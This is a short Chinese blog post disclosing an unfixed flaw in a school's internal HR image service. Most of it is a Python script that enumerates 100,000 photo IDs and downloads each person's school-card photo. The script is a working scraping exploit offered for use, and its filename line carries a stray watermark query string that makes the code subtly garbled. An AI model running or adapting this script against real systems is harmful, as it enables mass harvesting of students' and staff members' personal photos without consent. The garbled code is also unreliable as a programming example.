DHY校卡头像获取

上学期就反馈过了,依然没有处理,反正就只能内网访问,就发出来了。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib2
from sys import getsizeof
import time
for i in range(100000,200000):#定义范围
    url = 'https://10.0.0.28/network/hr_mana/img.php?pic_id='#API
    f = urllib2.urlopen(url+'%s'% i)#构造网址
    data = f.read()#读取数据
    if getsizeof(data) > 3000:#不是图片就不要了
        with open('img/%s.jpg?imageView2/0/interlace/1/q/100|watermark/2/text/amluZmVpamllLmNu/font/bWljcm9zb2Z0IGhpbWFsYXlh/fontsize/500/fill/IzA4MERFNw==/dissolve/100/gravity/SouthEast/dx/10/dy/10|imageslim'%i,'wb') as code:#创建jpg文件
            code.write(data)#写入读取到的数据到jpg文件内
            print('write '+ str(i) +' img is success,it\'s size is %s' % getsizeof(data))